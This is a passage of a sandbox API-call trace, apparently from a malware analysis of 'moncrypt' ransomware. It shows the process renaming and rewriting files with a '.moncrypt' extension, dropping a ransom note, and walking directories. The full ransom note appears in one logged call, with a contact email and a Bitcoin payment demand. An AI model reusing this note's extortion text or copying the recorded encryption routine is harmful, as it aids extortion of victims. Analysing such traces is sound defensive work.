Shared\\GRPHFLT\\WPGIMP32.FLT", lpUsedDefaultChar=0x0) returned 67 [0045.443] CharLowerBuffW (in: lpsz=".FLT", cchLength=0x4 | out: lpsz=".flt") returned 0x4 [0045.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".flt", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".fltShared\\GRPHFLT\\WPGIMP32.FLT", lpUsedDefaultChar=0x0) returned 4 [0045.443] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0x54e200 [0045.444] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0045.444] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0045.444] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", dwFileAttributes=0x20) returned 1 [0045.445] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0045.445] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.moncrypt")) returned 1 [0045.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0045.446] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0045.446] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x44780 [0045.446] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0045.446] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0045.448] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.448] GlobalLock (hMem=0x440004) returned 0x557188 [0045.448] GlobalHandle (pMem=0x557188) returned 0x440004 [0045.448] GlobalUnlock (hMem=0x440004) returned 0 [0045.448] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0045.448] GlobalLock (hMem=0x440004) returned 0x557188 [0045.448] GlobalHandle (pMem=0x557188) returned 0x440004 [0045.448] GlobalUnlock (hMem=0x440004) returned 0 [0045.448] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0045.448] GlobalLock (hMem=0x440004) returned 0x557188 [0045.448] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.448] GlobalUnlock (hMem=0x44000c) returned 0 [0045.448] GlobalHandle (pMem=0x557188) returned 0x440004 [0045.448] GlobalUnlock (hMem=0x440004) returned 0 [0045.448] GlobalLock (hMem=0x440004) returned 0x551178 [0045.448] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.448] GlobalUnlock (hMem=0x440004) returned 0 [0045.448] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0045.448] GlobalLock (hMem=0x440004) returned 0x551178 [0045.448] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.448] GlobalUnlock (hMem=0x440004) returned 0 [0045.449] ReadFile (in: hFile=0x188, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0045.449] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0045.450] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0045.450] SetFilePointer (in: hFile=0x188, lDistanceToMove=280448, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x44780 [0045.450] WriteFile (in: hFile=0x188, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0045.452] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0045.452] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d38*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0045.463] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0045.463] CloseHandle (hObject=0x188) returned 1 [0045.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0045.468] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0045.468] CloseHandle (hObject=0x188) returned 1 [0045.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.moncrypt", dwFileAttributes=0x20) returned 1 [0045.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0045.468] GlobalLock (hMem=0x440004) returned 0x551178 [0045.468] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.468] GlobalUnlock (hMem=0x440004) returned 0 [0045.468] GlobalLock (hMem=0x440004) returned 0x551178 [0045.468] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.468] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.468] GlobalUnlock (hMem=0x440004) returned 0 [0045.468] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.468] GlobalUnlock (hMem=0x44000c) returned 0 [0045.468] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0045.469] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c290c00, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3c290c00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3c290c00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0045.469] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0045.469] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0045.469] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0045.469] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.469] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0045.469] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.469] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.469] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0045.469] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.469] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0045.469] CloseHandle (hObject=0x188) returned 1 [0045.470] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0045.470] GetLastError () returned 0x12 [0045.470] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0045.470] GlobalLock (hMem=0x44000c) returned 0x550170 [0045.470] GlobalHandle (pMem=0x550170) returned 0x44000c [0045.470] GlobalUnlock (hMem=0x44000c) returned 0 [0045.470] GlobalLock (hMem=0x44000c) returned 0x550170 [0045.470] GlobalLock (hMem=0x440004) returned 0x552180 [0045.470] GlobalHandle (pMem=0x550170) returned 0x44000c [0045.470] GlobalUnlock (hMem=0x44000c) returned 0 [0045.470] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.470] GlobalUnlock (hMem=0x440004) returned 0 [0045.470] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d18, cbMultiByte=3, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\ition\\") returned 3 [0045.470] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3c8d05c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3c8d05c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0045.470] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0045.470] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.470] GlobalLock (hMem=0x440004) returned 0x550170 [0045.470] GlobalHandle (pMem=0x550170) returned 0x440004 [0045.470] GlobalUnlock (hMem=0x440004) returned 0 [0045.470] GlobalLock (hMem=0x440004) returned 0x550170 [0045.470] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.470] GlobalHandle (pMem=0x550170) returned 0x440004 [0045.470] GlobalUnlock (hMem=0x440004) returned 0 [0045.470] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.470] GlobalUnlock (hMem=0x44000c) returned 0 [0045.471] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.471] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3c8d05c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3c8d05c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.471] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.471] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.471] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.471] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.471] GlobalUnlock (hMem=0x44000c) returned 0 [0045.471] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.471] GlobalLock (hMem=0x440004) returned 0x553188 [0045.471] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.471] GlobalUnlock (hMem=0x44000c) returned 0 [0045.471] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.471] GlobalUnlock (hMem=0x440004) returned 0 [0045.471] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.471] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0045.471] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.471] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.471] GlobalLock (hMem=0x440004) returned 0x551178 [0045.471] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.471] GlobalUnlock (hMem=0x440004) returned 0 [0045.471] GlobalLock (hMem=0x440004) returned 0x551178 [0045.471] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.471] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.471] GlobalUnlock (hMem=0x440004) returned 0 [0045.471] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.471] GlobalUnlock (hMem=0x44000c) returned 0 [0045.471] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.471] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f225, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT.moncrypt", cAlternateFileName="CGMIMP~1.MON")) returned 1 [0045.471] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.471] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.472] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.472] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.472] GlobalUnlock (hMem=0x44000c) returned 0 [0045.472] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.472] GlobalLock (hMem=0x440004) returned 0x553188 [0045.472] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.472] GlobalUnlock (hMem=0x44000c) returned 0 [0045.472] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.472] GlobalUnlock (hMem=0x440004) returned 0 [0045.472] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.472] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x94033, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT.moncrypt", cAlternateFileName="CGMIMP~2.MON")) returned 1 [0045.472] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.472] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.472] GlobalLock (hMem=0x440004) returned 0x551178 [0045.472] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.472] GlobalUnlock (hMem=0x440004) returned 0 [0045.472] GlobalLock (hMem=0x440004) returned 0x551178 [0045.472] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.472] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.472] GlobalUnlock (hMem=0x440004) returned 0 [0045.472] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.472] GlobalUnlock (hMem=0x44000c) returned 0 [0045.472] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.472] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xae055, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT.moncrypt", cAlternateFileName="EPSIMP~1.MON")) returned 1 [0045.472] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.472] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.472] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.472] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.473] GlobalUnlock (hMem=0x44000c) returned 0 [0045.473] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.473] GlobalLock (hMem=0x440004) returned 0x553188 [0045.473] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.473] GlobalUnlock (hMem=0x44000c) returned 0 [0045.473] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.473] GlobalUnlock (hMem=0x440004) returned 0 [0045.473] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.473] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e445, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT.moncrypt", cAlternateFileName="GIFIMP~1.MON")) returned 1 [0045.473] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.473] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.473] GlobalLock (hMem=0x440004) returned 0x551178 [0045.473] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.473] GlobalUnlock (hMem=0x440004) returned 0 [0045.473] GlobalLock (hMem=0x440004) returned 0x551178 [0045.473] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.473] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.473] GlobalUnlock (hMem=0x440004) returned 0 [0045.473] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.473] GlobalUnlock (hMem=0x44000c) returned 0 [0045.473] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.473] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c290c00, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3c290c00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3c290c00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0045.473] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.473] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.473] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.473] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.473] GlobalUnlock (hMem=0x44000c) returned 0 [0045.473] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.473] GlobalLock (hMem=0x440004) returned 0x553188 [0045.473] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.474] GlobalUnlock (hMem=0x44000c) returned 0 [0045.474] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.474] GlobalUnlock (hMem=0x440004) returned 0 [0045.474] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.474] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ae45, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT.moncrypt", cAlternateFileName="JPEGIM~1.MON")) returned 1 [0045.474] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.474] 